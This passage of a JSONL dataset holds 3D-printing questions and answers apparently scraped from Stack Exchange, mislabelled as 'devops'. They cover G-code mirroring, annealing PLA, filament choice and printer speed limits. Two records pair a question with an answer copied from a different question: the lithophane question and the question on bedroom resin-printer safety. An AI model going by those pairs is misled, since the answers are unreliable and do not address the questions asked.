better resistance to obstructions in the filament path, and more reliable printing of flexibles as you have already noted. As well, A direct drive system would allow a less-powerful stepper motor to be used, which cuts down on the carriage mass problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.644875"}
{"id": "hf_fc983a71bc62", "question": "<p>I've got some sliced models that represent the <strong>right</strong>-side arms and legs of a robot. I'm really happy with how they printed, so now I'd like to print the <strong>left</strong>-side arms and legs.</p>\n<p>I was thinking it would be pretty trivial to parse the G-code file using Python and change the value of all the <code>Xn</code> commands from <code>n</code> to <code>2*h - n</code>, where <code>h</code> is in the middle of the bed, say 110 or 120 mm for an Ender 3.</p>\n<p>Before I fire up my favorite IDE, are there any major gotchas I might encounter from such a naïve approach to mirroring the G-code like this? I originally sliced in Cura 4.9.1.</p>\n", "question_body": "", "answer": "If your slicer does not have a mirror operation or a scale that allows negative values then mirroring in the G-code should be straightforward.\nAs long as your printer doesn't have certain specific tool change or homing or purge positions that are done in the G-code you can just transform it, otherwise you would want to skip these sections and just do the model data (it should be obvious looking at the code where model data starts).\nIn order to mirror it you just need to swap out the X coordinates in your G-code, If (0,0) is the center of your bed, as is often (but not always) the case for delta printers you will just want to negate the X, so\n```\nG1 X30 Y-3 Z2\n```\nbecomes\n```\nG1 X-30 Y-3 Z2\n```\n.  If your coordinates have (0,0) in a corner  (often the case for orthogonal printers) then you want to subtract X from the maximum X value. for instance if your bed is 250 mm wide then in\n```\nG1 X30 Y10 Z3  X30\n```\nbecomes\n```\nX(250-30)\n```\nor\n```\nG1 X220 Y10 Z3\n```\n.\nThere is only one caveat, some slicers will switch to relative movement using\n```\nG91\n```\nfor certain operations and then back to absolute with\n```\nG90\n```\n, so you will want to look out for these. Between a\n```\nG91\n```\nand a\n```\nG90\n```\nyou will want to negate the X, no matter where the origin of your printer is.\nWhen writing your script, I'd keep track of the minimum and maximum values encountered and the new minimum and maximum values and print them at the end as a sanity check so you can see if anything is wonky.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.683105"}
{"id": "hf_3b706eb05a4c", "question": "<p>Some people have figured out how to take raw LiDAR data and after going through multiple steps (using LAS tools, converting to digital elevation model (DEM), converting to an STL) getting an STL file that they can then slice and print.</p>\n<p>Could you write a program that cuts out all of those intermediate steps and converts raw LiDAR data directly to an STL that can be printed? Could you even cut out the need for slicers and just go straight to a G-code file?</p>\n<p>Is this even possible?</p>\n<p>From <a href=\"https://research.umn.edu/units/uspatial/news/3d-printing-models-derived-lidar-data\" rel=\"nofollow noreferrer\">3D Printing Models derived from Lidar Data</a>:</p>\n<blockquote>\n<ol>\n<li>Retrieve Lidar Data</li>\n<li>Process Lidar Data</li>\n<li>Create a DSM</li>\n<li>Export the DSM into a .STL</li>\n<li>Process for 3D Printing</li>\n<li>3D Print!</li>\n</ol>\n</blockquote>\n", "question_body": "", "answer": "TL;DR - The problem would\nappear\nto be that some of the steps require a bit of manual tinkering in order to complete them successfully - it isn't just a simple question of conversion. So, no (not currently).\nAlso, whilst writing this answer, it dawned on me that unless someone has actually managed to automate the whole process already, then your question may merely invite opinions (rather than factual solutions).\nFrom the link that you provided the conversion stages seem to be:\nObtain the\n```\nLAZ\n```\nfile from LiDAR\n```\nLAZ\n```\nto\n```\nLAS\n```\n```\nLAS\n```\nto\n```\nDSM\n```\n```\nDSM\n```\nto\n```\nSTL\n```\n```\nSTL\n```\nto G-code\nThese stages would need to be put into an automated pipeline.\nStep 1\nThis step could be automated.\nStep 2\nThe LAZ to LAS seems to be a straightforward conversion using  command line tools\n```\nlas2las\n```\n,\n```\nlasview\n```\nand\n```\nlas2dem\n```\n. This step\nprobably\ncould be automated (assuming that no manual intervention of the settings ​is required), as command line interfaces are easy to script (when compared with a GUI).\nStep 3\nThis step uses one of three GUI applications and looks like some manual labour (like adjusting settings)\nmay\nbe required, it is not clear. If the applications suggested by the article have APIs then a CLI option of automating the process could be possible - again it is not clear just by reading the article.\nStep 4\nThis step again uses a GUI (possibly to employ the export plugin and certainly to visualise the results) and so would appear to need some settings modifications and reiteration, to quote:\nthe conversion settings are something that will have to be explored via trial and error in order to figure out what is right for your dataset. In order to visualize the differences between the different settings you will have to open the .STL file into a software designed for 3D Printing.\nStep 5\nWhile the use of a slicer\ncan\nbe automated (assuming that you have predefined (known parameters) thresholds), it usually requires some manual intervention (at least to begin with). If you google \"automate slicing\" then some interesting links appear, but usually they are for batch processing of similar objects/models.\nSummary\nThe language used in the steps above contains a lot of conditionals (may, can, could) because there are a lot of variables involved. A substantial amount of research would be required to get these elements of the pipeline to work together seamlessly. So, it is unlikely that a \"point and click\" solution exists where an STL file would just pop out at the end, with no manual intervention.\nThat said, if your LiDAR datasets were consistent (i.e. similar environments, similar objects being scanned) then you\nmay\nbe able to find a range of settings, for each stage, that work consistently well for a particular scenario. Then with these settings - in combination with some command line or Python scripting and/or an appropriate GUI scripting tool - you might be able to automate some, if not all, of the process.\nLooking even further ahead, by using\nMachine Learning\nyou may be able to train a model to learn to examine the visual feedback stages and then auto-tinker with the settings in order to get better results - however, whilst not in the realms of impossibility, it certainly is rather cutting edge (at this point in time). In a few years time though, it almost certainly will be possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.748128"}
{"id": "hf_1bf501cf5ae7", "question": "<p>I have a Prusa i3 MK3 or maybe it was upgraded to a i3 MK3S.</p>\n<p>How can I figure out?</p>\n<p>The <a href=\"https://shop.prusa3d.com/en/original-prusa-i3-mk3s/1390-original-prusa-i3-mk3-to-mk3s-upgrade-kit.html\" rel=\"nofollow noreferrer\">description of the upgrade kit</a> talks about</p>\n<ul>\n<li>the SuperPINDA (how is it different from the old one?)</li>\n<li>a number of small changes (which?)</li>\n<li>improved plastic parts (which parts, how are they different?)</li>\n<li>metal clips (where to look for them?)</li>\n<li>a number of minor changes to the extruder plastic parts (which ones, before and after?)</li>\n</ul>\n<p>I'd like to figure that out without taking the printer apart.</p>\n", "question_body": "", "answer": "The MK3 has 4 pins on the filament sensor, the MK3S has only 3 pins. While you need to take the extruder apart to see that, you can also have a look at the cable instead:\nMatching the sensor, the MK3 has a 4 strand wire including blue and the MK3S has a 3 strand cable without blue.\nLooking under the heatbed, you'll find the MK3 bearings are fixed with U-bolts while the MK3S has broader bearing clips.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.789338"}
{"id": "hf_2c292ab92c24", "question": "<p>I recall seeing that it's possible to &quot;bake&quot; or &quot;anneal&quot; or even &quot;remelt&quot; PLA prints to strengthen them.  As I understand it, the main effect is improving layer adhesion, which is the main source of weakness in tension in the original Z-axis direction.</p>\n<p>Yes, I can print with a hotter nozzle (up to a point) to increase layer adhesion, print with a larger nozzle orifice, print with increased layer height, print slower -- but at a minimum those require reslicing, and affect print appearance (hotter nozzle causes stringing, thicker layers are more visible, etc.).</p>\n<p>Baking a print does none of that, as long as it's supported (often done by bedding it in salt).</p>\n<p><strong>Question is, how hot?</strong>  I presume I don't want to go all the way to printing temperature of 180-220 °C, but the plastic transition level of roundly 50 °C isn't hot enough for this.</p>\n", "question_body": "", "answer": "I've only annealed PEEK personally, but a quick search returns varying recommendations:\nAll3DP\nrecommends 1 hour at 70 °C.\nX3D\nrecommends 1 hour at 110 °C.\nMatterhackers\nrecommends 10 minutes at 105 °C for Tough PLA or HTPLA.\nA post on\nReddit\nrecommends \"a few hours\" at 110 °C.\nI'd do a test suite with pieces at 70 °, 90 °, and 110 °C for an hour each and test/compare.\nBe mindful of any chemicals that might be released.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.837636"}
{"id": "hf_f1e14ae87178", "question": "<p>I know that it's said the PLA becomes brittle when kept in a humid environment, but my case is slightly weirder:</p>\n<p>I have rolls of 1.75 mm PLA that I bought years ago and they are fine. But if I leave my spool fed inside the PTFE (Teflon) tube of my 3D printer, that part that is inside the PTFE tube, and only that part, gets brittle. The filament spool is always (even when stored) in open air.</p>\n<p>Is it still the humidity that somehow is better kept inside the tube, or is there a weird reaction of PLA with PTFE?</p>\n", "question_body": "", "answer": "I have this exact problem as well. I am feeding filament from the dry box through the tube into the top of the hot end. After approximately 2 days I would notice that the filament is broken somewhere close to the hot end. I don't believe that it's just humidity.\nI suspect that the filament being brittle and being made to conform to the PTFE tube's shape, having been recently on a spool, is causing the breaks.\nAs a result, I'm going to write a small script that will heat the hot end and eject 200 mm of filament every so often.\nEDIT: Whilst the script works, the filament would just break somewhere else lower down in the tube. Therefore the amount of filament that would need to be extruded periodically would be just wasteful. A better solution would be to unload the filament, either manually or automatically (somehow).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.878362"}
{"id": "hf_ba5ac8ff969a", "question": "<p>I'm currently printing 11 copies of the same model.  I noticed as it's printing that it seems to work on one model at a time but doesn't travel to the nearest model next.  I suspect it's traveling around the bed in the order that I put the models in the slicer.  This is resulting in extra unnecessary travel and therefore, increasing print time.  I slice in Cura 4.9.</p>\n<p>Is there a slicer that handles this better? Or is there a way to optimize movements in Cura?</p>\n", "question_body": "", "answer": "Long story short:\nI only know the setting \"Combing Mode OFF\" that improves the travel paths. In my case it did not help. In your case I suggest you should give PrusaSlicer a try. I assume that the overall print duration will be improved because of a better calculation of the travel paths. But this is only my personal opinion between these two Slicers.\nFurther explanation:\nI downloaded the Cura 4.9 and made an install from scratch. I tried to reproduce your issue by placing lots of copies of the same part. As printer I selected the Ultimaker S5 and used the standard configuration for slicing. I let Cura arrange the parts on the print plate.\nI checked the travel paths between the parts and in most cases Cura has chosen the nearest distance to move the printhead to the next part. In my opinion, there could be a more efficient choice for the next part to print.\nAfter this first test I experimented with the settings (e.g. \"Combing Mode\" OFF) but without an improvement in travel movements.\nIn the past I used Cura in combination with an Ultimaker S5 at work to print parts for production usecases. Over the past two years I recognized lots of parts where the travel movements have been chosen very unefficiently at the cost of high print duration.\nFor comparison I used my standard slicer \"PrusaSlicer\" and did the test under the same conditions: standard settings, auto-arrangement of the parts.\nOverall the travel paths are calculated more efficiently, but there is also some room for improvement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.902426"}
{"id": "hf_4503348d0797", "question": "<p>I have designed a cupholder for my center console in my truck with PETG. I was hoping it wouldn't deform and it didn't for a while but we got some high temperatures the past few days (around 32-38 °C or 90-100 °F).</p>\n<p>Kind of figured it wouldn't hold up mid-summer but I was wondering if ABS would be my next best choice or if there is something better for this. It does see some sunlight but not a lot.</p>\n<p>I do want to start producing some to sell and don't want it deforming in high-temperature areas. Also, I have an Ender 3 Pro so I can't do super crazy filaments.</p>\n", "question_body": "", "answer": "ABS, or preferably ASA which is \"a better ABS\", is probably your main option. ASA holds up better under UV/sunlight and is easier to print (less warping). Like ABS it should be printed with ventilation, and benefits some from an enclosure but can be done without it or with a primitive one (cardboard box).\nAnother great option would be TPU. It's not subject to a glass transition temperature above room temperature (my understanding is that technically its\n$T_g$\nis very very cold, but that may be a misunderstanding) and does not really warp/deform permanently until you reach temperatures near what you could print it at. I've used it as a mold for melting crayons in an oven at 175 ˚F (80 ˚C) with no problem. Depending on your perspective it could be easier or harder than ABS to print. If your extruder is bad at handling flex materials you might have to go really slow, or you might have trouble with jamming on retraction, but unlike ABS it has no heat/warping issues while printing and can be done even on a cold bed, and does not particularly need ventilation (although as always, be careful if you have pet birds around).\nNote that while TPU is considered a \"flex\" material, it can be fairly rigid at high infill with rigid infill patterns like triangles or cubic, or printed 100% solid, especially if you go with harder variants. 95A is typically the highest you see but sometimes you can find 98A.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.940436"}
{"id": "hf_91495bf49306", "question": "<p>I want to plug in my drivers from the printer into my Raspberry Pi. I want to control the printer's axes by sending G-code directly from the Raspberry Pi command line (if possible) to the drivers.</p>\n<p>Is that possible and if yes does anyone know how? As I stated above without using any 3rd party program/software.</p>\n", "question_body": "", "answer": "You can send the data to the serial port using\n```\necho\n```\n, but you'll have to use\n```\ncat\n```\nto get the response.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.024233"}
{"id": "hf_1652b81b8764", "question": "<p>Using 3D printing I'd like to create a text oversized keycap that uses several strong LEDs to make the text light as red or green, depending on status.  It's quite similar to what are called annunciators on aircraft:</p>\n<p><a href=\"https://i.stack.imgur.com/6B1lY.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/6B1lY.jpg\" alt=\"Annunciator Panel example without the panels being turned into MX switch keycaps\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/Jce1q.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Jce1q.jpg\" alt=\"Annunciator removed from a panel where it is separated\" /></a></p>\n<p>I'd like to create an MX keycap with this ability and size with the backlighting changing from green to red to indicate something is on or off. I understand including the MX connector in the center, but how would I print a black panel and leave the text transparent, or at least transluscent?</p>\n", "question_body": "", "answer": "There are a few possible ways you could go about this:\nIf you have a multi-material printer, you may be able to print with both a transparent or translucent material for the internal structure of the print and an opaque material for the external parts of the print. PET(G) may be suitable for this purpose but is harder to print compared to standard PLA.\nYou can print the entire print in a translucent material, mask off the lettering at the front and spray paint the rest of the print.\nYou can create a multi-part print, where one outer 'shell' is printed in opaque filament, and another piece in translucent material, which will mate together after printing.\nYou can deboss the lettering of your print, and with the letters face down to the bed, print the first layers in an opaque material, and then swap filaments to a translucent material for the rest of the print, spray painting the upper parts of the print to match a uniform color, while leaving the bottom untouched.\nThere are several advantages and disadvantages to each method:\nRequires that you have a (typically) expensive upgrade installed onto your machine, but would be the most straightforward way to go about this.\nRequires precise masking of your letters to make them come out looking nice, but will give you sharper, more defined edges on the lettering.\nWill require you to design for tolerances for the two parts, or add glue in the post-processing steps, But could be produced en masse with two printers, one for each material.\nCan be a bit fiddly, and will possibly result in an undesired look, with the lettering being debossed into the part, But would be less complex than the other options.\nPick whichever method you wish, or try all of them to see which gives you the best results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.132109"}
{"id": "hf_b928f084cc4a", "question": "<p>Ok I’m so new at Blender. Half the time it’s knowing what question you have to ask to get the answer you need...</p>\n<p>I want to make a 3D printable warrior type action figure but I only have one very detailed frontal view. Can I input that image into somewhere and it gives me a 3D model to start from? Like will it generate a 360 view? I have no idea where to start.</p>\n", "question_body": "", "answer": "In short, no. A 2D image has insufficient information to determine a 3D form.\nIf you want to do this yourself, what you could do is start with the 2D outline in a program like Blender (as 0scar mentioned in a comment), extrude it to make a thin \"cardboard cutout\", then begin shaping it into three dimensions from there. Imagine it like cutting a slab of Play-doh with a cookie cutter matching your 2D outline, then using the picture and your imagination as a guide to form it into 3D. I'm not sure whether something like that makes any more sense than just starting from scratch modeling it.\nAlternatively, nowadays there\nmight\nbe some \"AI\" models to produce a reasonable guess at what 3D structure you want, with the knowledge that it's supposed to be a person, for a 2D image you provide. I'm not sure if there's anything yet of usable quality, but it's something you could look for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.161179"}
{"id": "hf_f9b69af9ab38", "question": "<p>I'm getting zits or blobs in lithophanes while printing on my Ender 3 and 10S Pro. I tried a suggestion: change resolution in mesh fixes of Cura to 0.5 (from 0.05 default). That removed the zits.</p>\n<p>But now there are white patches as shown in the image. I reduced the resolution to 0.2 but to no avail.</p>\n<p>Anyone else encountered this problem?</p>\n<p><a href=\"https://i.stack.imgur.com/Xpqvz.jpg\" rel=\"nofollow noreferrer\" title=\"Example of white patches in a lithophane print\"><img src=\"https://i.stack.imgur.com/Xpqvz.jpg\" alt=\"Example of white patches in a lithophane print\" title=\"Example of white patches in a lithophane print\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/tKl6c.jpg\" rel=\"nofollow noreferrer\" title=\"Example of zits/blobs in a lithophane print\"><img src=\"https://i.stack.imgur.com/tKl6c.jpg\" alt=\"Example of zits/blobs in a lithophane print\" title=\"Example of zits/blobs in a lithophane print\" /></a></p>\n", "question_body": "", "answer": "In short, no. A 2D image has insufficient information to determine a 3D form.\nIf you want to do this yourself, what you could do is start with the 2D outline in a program like Blender (as 0scar mentioned in a comment), extrude it to make a thin \"cardboard cutout\", then begin shaping it into three dimensions from there. Imagine it like cutting a slab of Play-doh with a cookie cutter matching your 2D outline, then using the picture and your imagination as a guide to form it into 3D. I'm not sure whether something like that makes any more sense than just starting from scratch modeling it.\nAlternatively, nowadays there\nmight\nbe some \"AI\" models to produce a reasonable guess at what 3D structure you want, with the knowledge that it's supposed to be a person, for a 2D image you provide. I'm not sure if there's anything yet of usable quality, but it's something you could look for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.185178"}
{"id": "hf_c05cc0b05493", "question": "<p>I have an FDM printer, I printed ABS for years.</p>\n<p>Since SLA printers became really cheap lately and are able to print finer details, are there resins out there as strong as ABS/PLA?</p>\n", "question_body": "", "answer": "I'm an owner of both an FDM printer and a resin one:\nI've long searched a resin capable of printing durable objects even in tiny details but with poor luck.  I've tried ABS-Like resins, and they provide a slightly better resistance than regular resin but do not expect great improvements; I've tryed the siraya tech Blue V2 that is for sure much more durable but eventually would fail on the smaller details...\nIn the end i think I'll try the flexible resins like the Liquicreate flexible X or the Siraya tech Tenacious because those (similarly to TPU in FDM) can better absorb energy from impacts and having a smaller young's modulus can help when under load.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.243939"}
{"id": "hf_ea3594572706", "question": "<p>Wouldn't it be better to mount lead screws with the motor on top and the bottom end unconstrained? Compared to the conventional way (motor on the bottom) the lead screw would be under constant tension rather than compression and any misalignment would always be &quot;pulled straight&quot; and in this way minimize z-wobble.</p>\n<p>Here is a image for clarification:</p>\n<p><a href=\"https://i.stack.imgur.com/7hSCU.png\" rel=\"nofollow noreferrer\" title=\"Illustration of wobble in both top and bottom mounted stepper motors with lead screws\"><img src=\"https://i.stack.imgur.com/7hSCU.png\" alt=\"Illustration of wobble in both top and bottom mounted stepper motors with lead screws\" title=\"Illustration of wobble in both top and bottom mounted stepper motors with lead screws\" /></a></p>\n<p>With the motor on top the load of the bed will help to move the lead screw in line with the mount. In the opposite case the load tends to further increase any misalignment.</p>\n", "question_body": "", "answer": "The motor is mounted in a fixed position no matter if it's on top or bottom.\nYou can imagine the lead screw as a rod hanging down and supporting the bed in the Z direction only, because all of the XY rigidity comes from the Liner rails the bed is attached to it works just as well if the stiff rod is under compression instead of hanging from the rod.\nAny forces that might \"pull it straight\" are the same forces that can cause Z wobble so you would not want to even try to use the misalignment to straighten a bent lead screw.\nThe only thing this that really changes with this orientation is if the lead screw is under tension or compression. Even a relatively thin lead screw can easy counter the forces of gravity and the forces is the same in both directions. Its easy and cheap to make a smooth rod or rail straight but not so easy to make a threaded one straight.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.303243"}
{"id": "hf_989eb8624534", "question": "<p>How safe do you think it is to run an SLA 3D printer in the bedroom? I am planning to run Mi Air Purifier 3H/C while the printer is running, I am also thinking about adding <a href=\"https://rads.stackoverflow.com/amzn/click/com/B086277CNQ\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">this</a> inside the actual printer (Elegoo Mini Air Purifier with carbon filter).</p>\n<p>Is this safe or still too risky?</p>\n", "question_body": "", "answer": "The motor is mounted in a fixed position no matter if it's on top or bottom.\nYou can imagine the lead screw as a rod hanging down and supporting the bed in the Z direction only, because all of the XY rigidity comes from the Liner rails the bed is attached to it works just as well if the stiff rod is under compression instead of hanging from the rod.\nAny forces that might \"pull it straight\" are the same forces that can cause Z wobble so you would not want to even try to use the misalignment to straighten a bent lead screw.\nThe only thing this that really changes with this orientation is if the lead screw is under tension or compression. Even a relatively thin lead screw can easy counter the forces of gravity and the forces is the same in both directions. Its easy and cheap to make a smooth rod or rail straight but not so easy to make a threaded one straight.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.327462"}
{"id": "hf_4ca1f0208e31", "question": "<p>I've been using a resin printer for some time now, and am looking for a filament printer to compliment it. It will mostly be used to print scenery or bases to match 3-6&quot; models printer on the resin printer.</p>\n<p>I'm aiming for an entry level printer, or possible a mid level one on black Friday sale if I can find one.</p>\n<p>Should I limit myself to looking for one with a heated bed or auto-bed leveling, or should I mark these down as being bonus features that are nice to have but which are not essential for the kind of printing that I will be doing?</p>\n<p>I will probably be using basic budget filament to print items under 6&quot;. Probably no more than 2 prints a week.</p>\n", "question_body": "", "answer": "Most \"auto-leveling\" is not leveling but compensation for a non-flat or non-level bed surface. It's helpful to beginners who don't understand bed leveling or evaluating bed surface flatness and replacing a bad bad, for the sake of being able to get started without prints failing to adhere, but it will necessarily give you moderate to severe accuracy problems in the first cm or so of your print unless you manually level the bed right too. (This is as opposed to real three-point, three-motor leveling systems, which\ndo\nreally level and are great, but won't be found on entry-level printers.) Decide whether you want to spend money on that accordingly.\nPersonally, I find heated bed unnecessary unless you'll be printing ABS, ASA, or maybe PETG (it's hard but not impossible to print PETG without it). Heating the bed kinda makes PLA print worse (at least there are tradeoffs; it does help adhesion though), and flexible materials never need heat. However, pretty much all popular printers nowadays offer a heated bed anyway, so I don't think you'd be saving anything by going without it, and you're likely enough to want it at some point that you should just get it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.374363"}
{"id": "hf_2a50e310acc3", "question": "<p>My OctPrint and Monoprice Maker Select IIIP (A Wanhao i3 Duplicator Plus clone) were working fine, but suddenly today the hot end won't heat up anymore. I tried disconnecting the OctoPrint USB and resetting the printer power, and it still couldn't heat up the extruder, such as through the filament menu.</p>\n<p>But then it got weird.</p>\n<p>I left it off for a few hours and turned it on to see if it was getting 12 V to the hot end, and it was heating up again!  So I plugged in the OctopPrint and we're back to square one, the extruder has just been cooling down. I know the thermistor is working, because it's accurately following the temp, such as following the cooldown after the heating stopped working again.</p>\n<p>Is it possibly I have a dead hot end and for some reason it temporarily started to work again?  Maybe an intermittent short?</p>\n<p>I guess the next step is to open up the base and look at the connector to the motherboard, and or measure for 12 V</p>\n", "question_body": "", "answer": "This has nothing to do with OctoPrint itself, the cause is related to the printer itself, not the print server running the printer.\nThis is a pretty commonly seen issue (usually seen at heated beds), this is caused by faulty wires/cables or connectors. This usually happens after a vast period of usage. You should (periodically) check the cables and connectors. You could even test if the heater cartridge works by connecting it directly to the power supply.\nConsidering the limited amount of costs involved to replace the heater cartridge, it is preferred to replace the heater with a similar specification heater element (voltage and power).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.413874"}
{"id": "hf_00fd2d46c547", "question": "<p>I have an <a href=\"https://www.thingiverse.com/thing:3723481\" rel=\"nofollow noreferrer\">STL</a> (Raspberry Pi 4 casing) that automatically places itself like below on the bed surface:</p>\n<p><a href=\"https://i.stack.imgur.com/0Xm8V.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0Xm8V.png\" alt=\"enter image description here\" /></a></p>\n<p>Would it be a better and more efficient print if I place it like this:</p>\n<p><a href=\"https://i.stack.imgur.com/9Slno.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9Slno.png\" alt=\"enter image description here\" /></a></p>\n<p>At first, I thought this is no-brainer, the bigger surface should be the bottom layer. However, the horizontal print might result a more efficient head movement.</p>\n", "question_body": "", "answer": "The second placement is a better choice from an overall standpoint. In the vertical placement, adhesion is going to be more critical, although Prusa printers have good bonding for PLA and ABS, from my direct experience.\nThe other aspect of more importance is that the holes are going to be distorted in the vertical arrangement. The cut-outs in the smaller portion will also \"droop\" unless otherwise supported. If supported, you'll have greater post-processing labor and unsightly surfaces.\nThe design is quite well done, as the corners have radii which allows for smoother carriage travel, rather than abrupt stops with direction changes at each end.\nImporting the model and having the result appear as in the first image means that the designing software swaps the z-axis and the y-axis, which is relatively common.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.438110"}
{"id": "hf_a5d9c1bda9da", "question": "<p>I am printing Benchies at high speed, I successfully printed one at 300 mm/s. If I set the speed to 400 mm/s, the Y axis begins shifting around. This is usually accompanied by a banging sound.</p>\n<p>In addition, the extruder motor occasionally clicks. When it clicks, the filament shoots back out a little bit.</p>\n<p>Print settings:</p>\n<ul>\n<li>Infill: 100 %</li>\n<li>Hotend: 200 °C</li>\n<li>Bed: 60 °C</li>\n<li>Material: PLA</li>\n<li>Infill: Lines</li>\n<li>Walls: 2</li>\n<li>Top/bottom layers: 2</li>\n<li>Speed: 400 mm/s</li>\n<li>Jerk: 400 mm/s</li>\n<li>Acceleration: 1000000</li>\n</ul>\n<p>I am running custom Marlin-based firmware on the stock mainboard.</p>\n<p>The printer shakes my desk when printing like this.</p>\n", "question_body": "", "answer": "TL;DR: Don't do that.\nDetailed answer: You need motion limit parameters that actually make physical sense, and firmware capable of executing a motion plan according to them. Your jerk and acceleration settings absolutely don't. Marlin's whole implementation of jerk is wacky (note: modern Marlin versions don't even use it but an alternative they call \"junction deviation\" instead) and likely to cause problems above very low values; I never was able to take it above 25 or so on Marlin without layer shifts. Acceleration is dependent on the stepper motor torque and the mass you'll be accelerating. For the Y axis, that's the bed, and it has enough mass you won't accelerate it above 12000 mm/s² or so, much less the requested 1 km/s² plus near-infinite acceleration from the extreme near-instantaneous 400 mm/s velocity change (\"jerk\").\nThe speed of 400 mm/s is achievable if you don't do it instantaneously. Stepper motors begin to rapidly lose torque beyond a certain speed due to limits on how fast the magnetic field can build up and be reversed, which has to happen for each step.\nThis calculator\ncan compute the limits if you know the properties of your motor. For the Ender 3 Y axis motor, the limit is around 425 mm/s or so if I'm remembering right.\nFor actual print speed, though, the hotend and extruder cannot keep up with anything nearly that high. 150 mm/s is about the limit with that hotend, and it might even be lower with a stock extruder. Fortunately, Benchy is mostly acceleration-bound, not top-speed-bound, so if you can get your acceleration profile right, you can still print quite fast.\nNow the next limit you'll hit is Marlin. Marlin is... not good at high speeds and accelerations. Often the layer shifts you hit with Marlin aren't even physical limits but Marlin bugs. If you want to go fast, you need Klipper, not only because it lacks these step timing bugs, but because you need its Input Shaper feature to keep the high acceleration from tearing your printer apart (literally, vibrating all the screws out!).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.499813"}
